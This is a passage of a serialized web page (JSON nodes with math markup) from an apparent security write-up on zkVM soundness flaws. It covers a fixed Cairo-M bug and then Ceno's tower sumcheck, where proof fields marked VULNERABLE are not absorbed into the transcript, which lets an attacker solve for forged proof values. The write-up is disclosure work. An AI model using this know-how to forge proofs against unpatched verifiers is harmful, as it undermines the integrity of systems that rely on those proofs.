form:",{"type":24,"tag":33,"props":120412,"children":120413},{},[120414],{"type":24,"tag":156,"props":120415,"children":120417},{"className":120416},[7098,7099],[120418],{"type":24,"tag":930,"props":120419,"children":120421},{"className":120420},[7104],[120422],{"type":24,"tag":930,"props":120423,"children":120425},{"className":120424,"ariaHidden":7110},[7109],[120426,120486,120532,120578],{"type":24,"tag":930,"props":120427,"children":120429},{"className":120428},[7115],[120430,120434,120440,120445,120454,120459,120468,120473,120477,120482],{"type":24,"tag":930,"props":120431,"children":120433},{"className":120432,"style":96054},[7120],[],{"type":24,"tag":930,"props":120435,"children":120437},{"className":120436},[7126,24690],[120438],{"type":30,"value":120439},"L",{"type":24,"tag":930,"props":120441,"children":120443},{"className":120442},[24818],[120444],{"type":30,"value":1010},{"type":24,"tag":930,"props":120446,"children":120448},{"className":120447},[7126,30],[120449],{"type":24,"tag":930,"props":120450,"children":120452},{"className":120451},[7126],[120453],{"type":30,"value":64762},{"type":24,"tag":930,"props":120455,"children":120457},{"className":120456,"style":96112},[7126],[120458],{"type":30,"value":6204},{"type":24,"tag":930,"props":120460,"children":120462},{"className":120461},[7126,30],[120463],{"type":24,"tag":930,"props":120464,"children":120466},{"className":120465},[7126],[120467],{"type":30,"value":6817},{"type":24,"tag":930,"props":120469,"children":120471},{"className":120470},[24840],[120472],{"type":30,"value":6249},{"type":24,"tag":930,"props":120474,"children":120476},{"className":120475,"style":7207},[7206],[],{"type":24,"tag":930,"props":120478,"children":120480},{"className":120479},[7212],[120481],{"type":30,"value":1400},{"type":24,"tag":930,"props":120483,"children":120485},{"className":120484,"style":7207},[7206],[],{"type":24,"tag":930,"props":120487,"children":120489},{"className":120488},[7115],[120490,120494,120504,120509,120519,120523,120528],{"type":24,"tag":930,"props":120491,"children":120493},{"className":120492,"style":96054},[7120],[],{"type":24,"tag":930,"props":120495,"children":120497},{"className":120496},[7126,30],[120498],{"type":24,"tag":930,"props":120499,"children":120501},{"className":120500},[7126],[120502],{"type":30,"value":120503},"(other transcript",{"type":24,"tag":930,"props":120505,"children":120507},{"className":120506,"style":96112},[7126],[120508],{"type":30,"value":6204},{"type":24,"tag":930,"props":120510,"children":120512},{"className":120511},[7126,30],[120513],{"type":24,"tag":930,"props":120514,"children":120516},{"className":120515},[7126],[120517],{"type":30,"value":120518},"bound terms)",{"type":24,"tag":930,"props":120520,"children":120522},{"className":120521,"style":7304},[7206],[],{"type":24,"tag":930,"props":120524,"children":120526},{"className":120525},[7309],[120527],{"type":30,"value":1161},{"type":24,"tag":930,"props":120529,"children":120531},{"className":120530,"style":7304},[7206],[],{"type":24,"tag":930,"props":120533,"children":120535},{"className":120534},[7115],[120536,120541,120546,120551,120556,120560,120565,120569,120574],{"type":24,"tag":930,"props":120537,"children":120540},{"className":120538,"style":120539},[7120],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":24,"tag":930,"props":120542,"children":120544},{"className":120543},[7126],[120545],{"type":30,"value":1818},{"type":24,"tag":930,"props":120547,"children":120549},{"className":120548},[7238],[120550],{"type":30,"value":7241},{"type":24,"tag":930,"props":120552,"children":120555},{"className":120553,"style":120554},[7206],"margin-right:2em;",[],{"type":24,"tag":930,"props":120557,"children":120559},{"className":120558,"style":7245},[7206],[],{"type":24,"tag":930,"props":120561,"children":120563},{"className":120562},[7126,24690],[120564],{"type":30,"value":120439},{"type":24,"tag":930,"props":120566,"children":120568},{"className":120567,"style":7304},[7206],[],{"type":24,"tag":930,"props":120570,"children":120572},{"className":120571},[7309],[120573],{"type":30,"value":1161},{"type":24,"tag":930,"props":120575,"children":120577},{"className":120576,"style":7304},[7206],[],{"type":24,"tag":930,"props":120579,"children":120581},{"className":120580},[7115],[120582,120587,120644,120648,120866],{"type":24,"tag":930,"props":120583,"children":120586},{"className":120584,"style":120585},[7120],"height:1.4071em;vertical-align:-0.562em;",[],{"type":24,"tag":930,"props":120588,"children":120590},{"className":120589},[24725],[120591,120596],{"type":24,"tag":930,"props":120592,"children":120594},{"className":120593,"style":24732},[24725,24730,24731],[120595],{"type":30,"value":111270},{"type":24,"tag":930,"props":120597,"children":120599},{"className":120598},[7142],[120600],{"type":24,"tag":930,"props":120601,"children":120603},{"className":120602},[7147,24743],[120604,120633],{"type":24,"tag":930,"props":120605,"children":120607},{"className":120606},[7152],[120608,120628],{"type":24,"tag":930,"props":120609,"children":120611},{"className":120610,"style":116682},[7157],[120612],{"type":24,"tag":930,"props":120613,"children":120614},{"style":24756},[120615,120619],{"type":24,"tag":930,"props":120616,"children":120618},{"className":120617,"style":7167},[7166],[],{"type":24,"tag":930,"props":120620,"children":120622},{"className":120621},[7172,7173,7174,7175],[120623],{"type":24,"tag":930,"props":120624,"children":120626},{"className":120625},[7126,24690,7175],[120627],{"type":30,"value":6854},{"type":24,"tag":930,"props":120629,"children":120631},{"className":120630},[24846],[120632],{"type":30,"value":24849},{"type":24,"tag":930,"props":120634,"children":120636},{"className":120635},[7152],[120637],{"type":24,"tag":930,"props":120638,"children":120640},{"className":120639,"style":116962},[7157],[120641],{"type":24,"tag":930,"props":120642,"children":120643},{},[],{"type":24,"tag":930,"props":120645,"children":120647},{"className":120646,"style":7245},[7206],[],{"type":24,"tag":930,"props":120649,"children":120651},{"className":120650},[7126],[120652,120656,120862],{"type":24,"tag":930,"props":120653,"children":120655},{"className":120654},[24818,115993],[],{"type":24,"tag":930,"props":120657,"children":120659},{"className":120658},[115998],[120660],{"type":24,"tag":930,"props":120661,"children":120663},{"className":120662},[7147,24743],[120664,120850],{"type":24,"tag":930,"props":120665,"children":120667},{"className":120666},[7152],[120668,120845],{"type":24,"tag":930,"props":120669,"children":120671},{"className":120670,"style":116011},[7157],[120672,120814,120825],{"type":24,"tag":930,"props":120673,"children":120674},{"style":116015},[120675,120679],{"type":24,"tag":930,"props":120676,"children":120678},{"className":120677,"style":114646},[7166],[],{"type":24,"tag":930,"props":120680,"children":120682},{"className":120681},[7172,7173,7174,7175],[120683],{"type":24,"tag":930,"props":120684,"children":120686},{"className":120685},[7126,7175],[120687,120692,120697,120703,120708,120713,120770,120775,120784,120789,120798,120804,120809],{"type":24,"tag":930,"props":120688,"children":120690},{"className":120689,"style":116032},[7126,24690,7175],[120691],{"type":30,"value":116035},{"type":24,"tag":930,"props":120693,"children":120695},{"className":120694},[7212,7175],[120696],{"type":30,"value":1400},{"type":24,"tag":930,"props":120698,"children":120700},{"className":120699},[24818,7175],[120701],{"type":30,"value":120702},"⟨",{"type":24,"tag":930,"props":120704,"children":120706},{"className":120705,"style":117563},[7126,24690,7175],[120707],{"type":30,"value":117566},{"type":24,"tag":930,"props":120709,"children":120711},{"className":120710},[7238,7175],[120712],{"type":30,"value":7241},{"type":24,"tag":930,"props":120714,"children":120716},{"className":120715},[7126,7175],[120717,120722],{"type":24,"tag":930,"props":120718,"children":120720},{"className":120719},[7126,24690,7175],[120721],{"type":30,"value":24831},{"type":24,"tag":930,"props":120723,"children":120725},{"className":120724},[7142],[120726],{"type":24,"tag":930,"props":120727,"children":120729},{"className":120728},[7147,24743],[120730,120759],{"type":24,"tag":930,"props":120731,"children":120733},{"className":120732},[7152],[120734,120754],{"type":24,"tag":930,"props":120735,"children":120737},{"className":120736,"style":116799},[7157],[120738],{"type":24,"tag":930,"props":120739,"children":120740},{"style":111330},[120741,120745],{"type":24,"tag":930,"props":120742,"children":120744},{"className":120743,"style":111335},[7166],[],{"type":24,"tag":930,"props":120746,"children":120748},{"className":120747},[7172,111340,111341,7175],[120749],{"type":24,"tag":930,"props":120750,"children":120752},{"className":120751},[7126,24690,7175],[120753],{"type":30,"value":6854},{"type":24,"tag":930,"props":120755,"children":120757},{"className":120756},[24846],[120758],{"type":30,"value":24849},{"type":24,"tag":930,"props":120760,"children":120762},{"className":120761},[7152],[120763],{"type":24,"tag":930,"props":120764,"children":120766},{"className":120765,"style":111360},[7157],[120767],{"type":24,"tag":930,"props":120768,"children":120769},{},[],{"type":24,"tag":930,"props":120771,"children":120773},{"className":120772},[24818,7175],[120774],{"type":30,"value":1010},{"type":24,"tag":930,"props":120776,"children":120778},{"className":120777},[7126,30,7175],[120779],{"type":24,"tag":930,"props":120780,"children":120782},{"className":120781},[7126,7175],[120783],{"type":30,"value":64762},{"type":24,"tag":930,"props":120785,"children":120787},{"className":120786,"style":96112},[7126,7175],[120788],{"type":30,"value":6204},{"type":24,"tag":930,"props":120790,"children":120792},{"className":120791},[7126,30,7175],[120793],{"type":24,"tag":930,"props":120794,"children":120796},{"className":120795},[7126,7175],[120797],{"type":30,"value":6817},{"type":24,"tag":930,"props":120799,"children":120801},{"className":120800},[24840,7175],[120802],{"type":30,"value":120803},")⟩",{"type":24,"tag":930,"props":120805,"children":120807},{"className":120806},[7212,7175],[120808],{"type":30,"value":1400},{"type":24,"tag":930,"props":120810,"children":120812},{"className":120811,"style":117618},[7126,24690,7175],[120813],{"type":30,"value":117621},{"type":24,"tag":930,"props":120815,"children":120816},{"style":116048},[120817,120821],{"type":24,"tag":930,"props":120818,"children":120820},{"className":120819,"style":114646},[7166],[],{"type":24,"tag":930,"props":120822,"children":120824},{"className":120823,"style":116058},[116057],[],{"type":24,"tag":930,"props":120826,"children":120827},{"style":116062},[120828,120832],{"type":24,"tag":930,"props":120829,"children":120831},{"className":120830,"style":114646},[7166],[],{"type":24,"tag":930,"props":120833,"children":120835},{"className":120834},[7172,7173,7174,7175],[120836],{"type":24,"tag":930,"props":120837,"children":120839},{"className":120838},[7126,7175],[120840],{"type":24,"tag":930,"props":120841,"children":120843},{"className":120842},[7126,7175],[120844],{"type":30,"value":7129},{"type":24,"tag":930,"props":120846,"children":120848},{"className":120847},[24846],[120849],{"type":30,"value":24849},{"type":24,"tag":930,"props":120851,"children":120853},{"className":120852},[7152],[120854],{"type":24,"tag":930,"props":120855,"children":120858},{"className":120856,"style":120857},[7157],"height:0.562em;",[120859],{"type":24,"tag":930,"props":120860,"children":120861},{},[],{"type":24,"tag":930,"props":120863,"children":120865},{"className":120864},[24840,115993],[],{"type":24,"tag":930,"props":120867,"children":120869},{"className":120868},[7126],[120870],{"type":30,"value":436},{"type":24,"tag":33,"props":120872,"children":120873},{},[120874,120876],{"type":30,"value":120875},"The global check is then that ",{"type":24,"tag":156,"props":120877,"children":120879},{"className":120878},[7098,7099],[120880],{"type":24,"tag":930,"props":120881,"children":120883},{"className":120882},[7104],[120884],{"type":24,"tag":930,"props":120885,"children":120887},{"className":120886,"ariaHidden":7110},[7109],[120888,120929,120960],{"type":24,"tag":930,"props":120889,"children":120891},{"className":120890},[7115],[120892,120896,120901,120906,120911,120916,120920,120925],{"type":24,"tag":930,"props":120893,"children":120895},{"className":120894,"style":7227},[7120],[],{"type":24,"tag":930,"props":120897,"children":120899},{"className":120898},[7126,24690],[120900],{"type":30,"value":120439},{"type":24,"tag":930,"props":120902,"children":120904},{"className":120903},[24818],[120905],{"type":30,"value":1010},{"type":24,"tag":930,"props":120907,"children":120909},{"className":120908},[7126,24690],[120910],{"type":30,"value":33},{"type":24,"tag":930,"props":120912,"children":120914},{"className":120913},[24840],[120915],{"type":30,"value":6249},{"type":24,"tag":930,"props":120917,"children":120919},{"className":120918,"style":7207},[7206],[],{"type":24,"tag":930,"props":120921,"children":120923},{"className":120922},[7212],[120924],{"type":30,"value":1400},{"type":24,"tag":930,"props":120926,"children":120928},{"className":120927,"style":7207},[7206],[],{"type":24,"tag":930,"props":120930,"children":120932},{"className":120931},[7115],[120933,120937,120947,120951,120956],{"type":24,"tag":930,"props":120934,"children":120936},{"className":120935,"style":7227},[7120],[],{"type":24,"tag":930,"props":120938,"children":120940},{"className":120939},[7126,30],[120941],{"type":24,"tag":930,"props":120942,"children":120944},{"className":120943},[7126],[120945],{"type":30,"value":120946},"(other terms)",{"type":24,"tag":930,"props":120948,"children":120950},{"className":120949,"style":7304},[7206],[],{"type":24,"tag":930,"props":120952,"children":120954},{"className":120953},[7309],[120955],{"type":30,"value":1161},{"type":24,"tag":930,"props":120957,"children":120959},{"className":120958,"style":7304},[7206],[],{"type":24,"tag":930,"props":120961,"children":120963},{"className":120962},[7115],[120964,120968],{"type":24,"tag":930,"props":120965,"children":120967},{"className":120966,"style":97143},[7120],[],{"type":24,"tag":930,"props":120969,"children":120971},{"className":120970},[7126],[120972],{"type":30,"value":1818},{"type":24,"tag":33,"props":120974,"children":120975},{},[120976],{"type":30,"value":120977},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":24,"tag":33,"props":120979,"children":120980},{},[120981],{"type":30,"value":120982},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":24,"tag":33,"props":120984,"children":120985},{},[120986,120990,120992],{"type":24,"tag":275,"props":120987,"children":120988},{},[120989],{"type":30,"value":119185},{"type":30,"value":120991}," Fixed on October 31, 2025 via ",{"type":24,"tag":37,"props":120993,"children":120996},{"href":120994,"rel":120995},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[41],[120997],{"type":30,"value":120998},"commit 92b6740",{"type":24,"tag":21895,"props":121000,"children":121001},{},[],{"type":24,"tag":151,"props":121003,"children":121005},{"id":121004},"ceno-scroll",[121006],{"type":30,"value":121007},"Ceno (Scroll)",{"type":24,"tag":33,"props":121009,"children":121010},{},[121011],{"type":30,"value":121012},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":24,"tag":33,"props":121014,"children":121015},{},[121016,121018,121023],{"type":30,"value":121017},"Ceno splits verification into ",{"type":24,"tag":275,"props":121019,"children":121020},{},[121021],{"type":30,"value":121022},"chips",{"type":30,"value":121024},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":24,"tag":33,"props":121026,"children":121027},{},[121028,121030,121035],{"type":30,"value":121029},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":24,"tag":275,"props":121031,"children":121032},{},[121033],{"type":30,"value":121034},"tower sumcheck",{"type":30,"value":436},{"type":24,"tag":33,"props":121037,"children":121038},{},[121039],{"type":30,"value":121040},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":24,"tag":33,"props":121042,"children":121043},{},[121044],{"type":24,"tag":156,"props":121045,"children":121047},{"className":121046},[7098,7099],[121048],{"type":24,"tag":930,"props":121049,"children":121051},{"className":121050},[7104],[121052],{"type":24,"tag":930,"props":121053,"children":121055},{"className":121054,"ariaHidden":7110},[7109],[121056,121230,121403],{"type":24,"tag":930,"props":121057,"children":121059},{"className":121058},[7115],[121060,121064,121122,121126,121135,121140,121150,121155,121217,121221,121226],{"type":24,"tag":930,"props":121061,"children":121063},{"className":121062,"style":96054},[7120],[],{"type":24,"tag":930,"props":121065,"children":121067},{"className":121066},[24725],[121068,121074],{"type":24,"tag":930,"props":121069,"children":121071},{"className":121070,"style":24732},[24725,24730,24731],[121072],{"type":30,"value":121073},"∏",{"type":24,"tag":930,"props":121075,"children":121077},{"className":121076},[7142],[121078],{"type":24,"tag":930,"props":121079,"children":121081},{"className":121080},[7147,24743],[121082,121111],{"type":24,"tag":930,"props":121083,"children":121085},{"className":121084},[7152],[121086,121106],{"type":24,"tag":930,"props":121087,"children":121089},{"className":121088,"style":116682},[7157],[121090],{"type":24,"tag":930,"props":121091,"children":121092},{"style":24756},[121093,121097],{"type":24,"tag":930,"props":121094,"children":121096},{"className":121095,"style":7167},[7166],[],{"type":24,"tag":930,"props":121098,"children":121100},{"className":121099},[7172,7173,7174,7175],[121101],{"type":24,"tag":930,"props":121102,"children":121104},{"className":121103},[7126,24690,7175],[121105],{"type":30,"value":6854},{"type":24,"tag":930,"props":121107,"children":121109},{"className":121108},[24846],[121110],{"type":30,"value":24849},{"type":24,"tag":930,"props":121112,"children":121114},{"className":121113},[7152],[121115],{"type":24,"tag":930,"props":121116,"children":121118},{"className":121117,"style":116962},[7157],[121119],{"type":24,"tag":930,"props":121120,"children":121121},{},[],{"type":24,"tag":930,"props":121123,"children":121125},{"className":121124,"style":7245},[7206],[],{"type":24,"tag":930,"props":121127,"children":121129},{"className":121128},[7126,30],[121130],{"type":24,"tag":930,"props":121131,"children":121133},{"className":121132},[7126],[121134],{"type":30,"value":96931},{"type":24,"tag":930,"props":121136,"children":121138},{"className":121137,"style":96112},[7126],[121139],{"type":30,"value":6204},{"type":24,"tag":930,"props":121141,"children":121143},{"className":121142},[7126,30],[121144],{"type":24,"tag":930,"props":121145,"children":121147},{"className":121146},[7126],[121148],{"type":30,"value":121149},"out",{"type":24,"tag":930,"props":121151,"children":121153},{"className":121152,"style":96112},[7126],[121154],{"type":30,"value":6204},{"type":24,"tag":930,"props":121156,"children":121158},{"className":121157},[7126],[121159,121169],{"type":24,"tag":930,"props":121160,"children":121162},{"className":121161},[7126,30],[121163],{"type":24,"tag":930,"props":121164,"children":121166},{"className":121165},[7126],[121167],{"type":30,"value":121168},"evals",{"type":24,"tag":930,"props":121170,"children":121172},{"className":121171},[7142],[121173],{"type":24,"tag":930,"props":121174,"children":121176},{"className":121175},[7147,24743],[121177,121206],{"type":24,"tag":930,"props":121178,"children":121180},{"className":121179},[7152],[121181,121201],{"type":24,"tag":930,"props":121182,"children":121184},{"className":121183,"style":96641},[7157],[121185],{"type":24,"tag":930,"props":121186,"children":121187},{"style":116605},[121188,121192],{"type":24,"tag":930,"props":121189,"children":121191},{"className":121190,"style":7167},[7166],[],{"type":24,"tag":930,"props":121193,"children":121195},{"className":121194},[7172,7173,7174,7175],[121196],{"type":24,"tag":930,"props":121197,"children":121199},{"className":121198},[7126,24690,7175],[121200],{"type":30,"value":6854},{"type":24,"tag":930,"props":121202,"children":121204},{"className":121203},[24846],[121205],{"type":30,"value":24849},{"type":24,"tag":930,"props":121207,"children":121209},{"className":121208},[7152],[121210],{"type":24,"tag":930,"props":121211,"children":121213},{"className":121212,"style":96195},[7157],[121214],{"type":24,"tag":930,"props":121215,"children":121216},{},[],{"type":24,"tag":930,"props":121218,"children":121220},{"className":121219,"style":7304},[7206],[],{"type":24,"tag":930,"props":121222,"children":121224},{"className":121223},[7309],[121225],{"type":30,"value":1161},{"type":24,"tag":930,"props":121227,"children":121229},{"className":121228,"style":7304},[7206],[],{"type":24,"tag":930,"props":121231,"children":121233},{"className":121232},[7115],[121234,121239,121296,121300,121309,121314,121323,121328,121390,121394,121399],{"type":24,"tag":930,"props":121235,"children":121238},{"className":121236,"style":121237},[7120],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":24,"tag":930,"props":121240,"children":121242},{"className":121241},[24725],[121243,121248],{"type":24,"tag":930,"props":121244,"children":121246},{"className":121245,"style":24732},[24725,24730,24731],[121247],{"type":30,"value":121073},{"type":24,"tag":930,"props":121249,"children":121251},{"className":121250},[7142],[121252],{"type":24,"tag":930,"props":121253,"children":121255},{"className":121254},[7147,24743],[121256,121285],{"type":24,"tag":930,"props":121257,"children":121259},{"className":121258},[7152],[121260,121280],{"type":24,"tag":930,"props":121261,"children":121263},{"className":121262,"style":116682},[7157],[121264],{"type":24,"tag":930,"props":121265,"children":121266},{"style":24756},[121267,121271],{"type":24,"tag":930,"props":121268,"children":121270},{"className":121269,"style":7167},[7166],[],{"type":24,"tag":930,"props":121272,"children":121274},{"className":121273},[7172,7173,7174,7175],[121275],{"type":24,"tag":930,"props":121276,"children":121278},{"className":121277,"style":116698},[7126,24690,7175],[121279],{"type":30,"value":11765},{"type":24,"tag":930,"props":121281,"children":121283},{"className":121282},[24846],[121284],{"type":30,"value":24849},{"type":24,"tag":930,"props":121286,"children":121288},{"className":121287},[7152],[121289],{"type":24,"tag":930,"props":121290,"children":121292},{"className":121291,"style":116713},[7157],[121293],{"type":24,"tag":930,"props":121294,"children":121295},{},[],{"type":24,"tag":930,"props":121297,"children":121299},{"className":121298,"style":7245},[7206],[],{"type":24,"tag":930,"props":121301,"children":121303},{"className":121302},[7126,30],[121304],{"type":24,"tag":930,"props":121305,"children":121307},{"className":121306},[7126],[121308],{"type":30,"value":52661},{"type":24,"tag":930,"props":121310,"children":121312},{"className":121311,"style":96112},[7126],[121313],{"type":30,"value":6204},{"type":24,"tag":930,"props":121315,"children":121317},{"className":121316},[7126,30],[121318],{"type":24,"tag":930,"props":121319,"children":121321},{"className":121320},[7126],[121322],{"type":30,"value":121149},{"type":24,"tag":930,"props":121324,"children":121326},{"className":121325,"style":96112},[7126],[121327],{"type":30,"value":6204},{"type":24,"tag":930,"props":121329,"children":121331},{"className":121330},[7126],[121332,121341],{"type":24,"tag":930,"props":121333,"children":121335},{"className":121334},[7126,30],[121336],{"type":24,"tag":930,"props":121337,"children":121339},{"className":121338},[7126],[121340],{"type":30,"value":121168},{"type":24,"tag":930,"props":121342,"children":121344},{"className":121343},[7142],[121345],{"type":24,"tag":930,"props":121346,"children":121348},{"className":121347},[7147,24743],[121349,121378],{"type":24,"tag":930,"props":121350,"children":121352},{"className":121351},[7152],[121353,121373],{"type":24,"tag":930,"props":121354,"children":121356},{"className":121355,"style":96641},[7157],[121357],{"type":24,"tag":930,"props":121358,"children":121359},{"style":116605},[121360,121364],{"type":24,"tag":930,"props":121361,"children":121363},{"className":121362,"style":7167},[7166],[],{"type":24,"tag":930,"props":121365,"children":121367},{"className":121366},[7172,7173,7174,7175],[121368],{"type":24,"tag":930,"props":121369,"children":121371},{"className":121370,"style":116698},[7126,24690,7175],[121372],{"type":30,"value":11765},{"type":24,"tag":930,"props":121374,"children":121376},{"className":121375},[24846],[121377],{"type":30,"value":24849},{"type":24,"tag":930,"props":121379,"children":121381},{"className":121380},[7152],[121382],{"type":24,"tag":930,"props":121383,"children":121386},{"className":121384,"style":121385},[7157],"height:0.2861em;",[121387],{"type":24,"tag":930,"props":121388,"children":121389},{},[],{"type":24,"tag":930,"props":121391,"children":121393},{"className":121392,"style":7207},[7206],[],{"type":24,"tag":930,"props":121395,"children":121397},{"className":121396},[7212],[121398],{"type":30,"value":113737},{"type":24,"tag":930,"props":121400,"children":121402},{"className":121401,"style":7207},[7206],[],{"type":24,"tag":930,"props":121404,"children":121406},{"className":121405},[7115],[121407,121411,121416,121426],{"type":24,"tag":930,"props":121408,"children":121410},{"className":121409,"style":7227},[7120],[],{"type":24,"tag":930,"props":121412,"children":121414},{"className":121413},[24818],[121415],{"type":30,"value":1010},{"type":24,"tag":930,"props":121417,"children":121419},{"className":121418},[7126,30],[121420],{"type":24,"tag":930,"props":121421,"children":121423},{"className":121422},[7126],[121424],{"type":30,"value":121425},"state factors",{"type":24,"tag":930,"props":121427,"children":121429},{"className":121428},[24840],[121430],{"type":30,"value":6249},{"type":24,"tag":33,"props":121432,"children":121433},{},[121434],{"type":24,"tag":275,"props":121435,"children":121436},{},[121437],{"type":30,"value":117891},{"type":24,"tag":920,"props":121439,"children":121441},{"code":121440},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[121442],{"type":24,"tag":156,"props":121443,"children":121444},{"__ignoreMap":7},[121445],{"type":30,"value":121440},{"type":24,"tag":33,"props":121447,"children":121448},{},[121449,121455,121456,121462,121463,121469],{"type":24,"tag":156,"props":121450,"children":121452},{"className":121451},[],[121453],{"type":30,"value":121454},"r_out_evals",{"type":30,"value":962},{"type":24,"tag":156,"props":121457,"children":121459},{"className":121458},[],[121460],{"type":30,"value":121461},"w_out_evals",{"type":30,"value":9599},{"type":24,"tag":156,"props":121464,"children":121466},{"className":121465},[],[121467],{"type":30,"value":121468},"lk_out_evals",{"type":30,"value":121470}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":24,"tag":478,"props":121472,"children":121473},{},[121474],{"type":24,"tag":100,"props":121475,"children":121476},{},[121477,121482,121484,121490],{"type":24,"tag":275,"props":121478,"children":121479},{},[121480],{"type":30,"value":121481},"GKR/Tower equation",{"type":30,"value":121483}," (linear in ",{"type":24,"tag":156,"props":121485,"children":121487},{"className":121486},[],[121488],{"type":30,"value":121489},"out_evals",{"type":30,"value":27037},{"type":24,"tag":33,"props":121492,"children":121493},{},[121494,121496],{"type":30,"value":121495},"The tower sumcheck claim is ",{"type":24,"tag":156,"props":121497,"children":121499},{"className":121498},[7098,7099],[121500],{"type":24,"tag":930,"props":121501,"children":121503},{"className":121502},[7104],[121504],{"type":24,"tag":930,"props":121505,"children":121507},{"className":121506,"ariaHidden":7110},[7109],[121508,121539,121664],{"type":24,"tag":930,"props":121509,"children":121511},{"className":121510},[7115],[121512,121516,121526,121530,121535],{"type":24,"tag":930,"props":121513,"children":121515},{"className":121514,"style":96027},[7120],[],{"type":24,"tag":930,"props":121517,"children":121519},{"className":121518},[7126,30],[121520],{"type":24,"tag":930,"props":121521,"children":121523},{"className":121522},[7126],[121524],{"type":30,"value":121525},"claim",{"type":24,"tag":930,"props":121527,"children":121529},{"className":121528,"style":7304},[7206],[],{"type":24,"tag":930,"props":121531,"children":121533},{"className":121532},[7309],[121534],{"type":30,"value":1161},{"type":24,"tag":930,"props":121536,"children":121538},{"className":121537,"style":7304},[7206],[],{"type":24,"tag":930,"props":121540,"children":121542},{"className":121541},[7115],[121543,121548,121605,121609,121651,121655,121660],{"type":24,"tag":930,"props":121544,"children":121547},{"className":121545,"style":121546},[7120],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":24,"tag":930,"props":121549,"children":121551},{"className":121550},[24725],[121552,121557],{"type":24,"tag":930,"props":121553,"children":121555},{"className":121554,"style":24732},[24725,24730,24731],[121556],{"type":30,"value":111270},{"type":24,"tag":930,"props":121558,"children":121560},{"className":121559},[7142],[121561],{"type":24,"tag":930,"props":121562,"children":121564},{"className":121563},[7147,24743],[121565,121594],{"type":24,"tag":930,"props":121566,"children":121568},{"className":121567},[7152],[121569,121589],{"type":24,"tag":930,"props":121570,"children":121572},{"className":121571,"style":116682},[7157],[121573],{"type":24,"tag":930,"props":121574,"children":121575},{"style":24756},[121576,121580],{"type":24,"tag":930,"props":121577,"children":121579},{"className":121578,"style":7167},[7166],[],{"type":24,"tag":930,"props":121581,"children":121583},{"className":121582},[7172,7173,7174,7175],[121584],{"type":24,"tag":930,"props":121585,"children":121587},{"className":121586,"style":116698},[7126,24690,7175],[121588],{"type":30,"value":11765},{"type":24,"tag":930,"props":121590,"children":121592},{"className":121591},[24846],[121593],{"type":30,"value":24849},{"type":24,"tag":930,"props":121595,"children":121597},{"className":121596},[7152],[121598],{"type":24,"tag":930,"props":121599,"children":121601},{"className":121600,"style":116713},[7157],[121602],{"type":24,"tag":930,"props":121603,"children":121604},{},[],{"type":24,"tag":930,"props":121606,"children":121608},{"className":121607,"style":7245},[7206],[],{"type":24,"tag":930,"props":121610,"children":121612},{"className":121611},[7126],[121613,121618],{"type":24,"tag":930,"props":121614,"children":121616},{"className":121615,"style":117563},[7126,24690],[121617],{"type":30,"value":117566},{"type":24,"tag":930,"props":121619,"children":121621},{"className":121620},[7142],[121622],{"type":24,"tag":930,"props":121623,"children":121625},{"className":121624},[7147],[121626],{"type":24,"tag":930,"props":121627,"children":121629},{"className":121628},[7152],[121630],{"type":24,"tag":930,"props":121631,"children":121634},{"className":121632,"style":121633},[7157],"height:0.8247em;",[121635],{"type":24,"tag":930,"props":121636,"children":121637},{"style":7161},[121638,121642],{"type":24,"tag":930,"props":121639,"children":121641},{"className":121640,"style":7167},[7166],[],{"type":24,"tag":930,"props":121643,"children":121645},{"className":121644},[7172,7173,7174,7175],[121646],{"type":24,"tag":930,"props":121647,"children":121649},{"className":121648,"style":116698},[7126,24690,7175],[121650],{"type":30,"value":11765},{"type":24,"tag":930,"props":121652,"children":121654},{"className":121653,"style":7207},[7206],[],{"type":24,"tag":930,"props":121656,"children":121658},{"className":121657},[7212],[121659],{"type":30,"value":113737},{"type":24,"tag":930,"props":121661,"children":121663},{"className":121662,"style":7207},[7206],[],{"type":24,"tag":930,"props":121665,"children":121667},{"className":121666},[7115],[121668,121672,121681,121686],{"type":24,"tag":930,"props":121669,"children":121671},{"className":121670,"style":97525},[7120],[],{"type":24,"tag":930,"props":121673,"children":121675},{"className":121674},[7126,30],[121676],{"type":24,"tag":930,"props":121677,"children":121679},{"className":121678},[7126],[121680],{"type":30,"value":121149},{"type":24,"tag":930,"props":121682,"children":121684},{"className":121683,"style":96112},[7126],[121685],{"type":30,"value":6204},{"type":24,"tag":930,"props":121687,"children":121689},{"className":121688},[7126],[121690,121699],{"type":24,"tag":930,"props":121691,"children":121693},{"className":121692},[7126,30],[121694],{"type":24,"tag":930,"props":121695,"children":121697},{"className":121696},[7126],[121698],{"type":30,"value":121168},{"type":24,"tag":930,"props":121700,"children":121702},{"className":121701},[7142],[121703],{"type":24,"tag":930,"props":121704,"children":121706},{"className":121705},[7147,24743],[121707,121736],{"type":24,"tag":930,"props":121708,"children":121710},{"className":121709},[7152],[121711,121731],{"type":24,"tag":930,"props":121712,"children":121714},{"className":121713,"style":96641},[7157],[121715],{"type":24,"tag":930,"props":121716,"children":121717},{"style":116605},[121718,121722],{"type":24,"tag":930,"props":121719,"children":121721},{"className":121720,"style":7167},[7166],[],{"type":24,"tag":930,"props":121723,"children":121725},{"className":121724},[7172,7173,7174,7175],[121726],{"type":24,"tag":930,"props":121727,"children":121729},{"className":121728,"style":116698},[7126,24690,7175],[121730],{"type":30,"value":11765},{"type":24,"tag":930,"props":121732,"children":121734},{"className":121733},[24846],[121735],{"type":30,"value":24849},{"type":24,"tag":930,"props":121737,"children":121739},{"className":121738},[7152],[121740],{"type":24,"tag":930,"props":121741,"child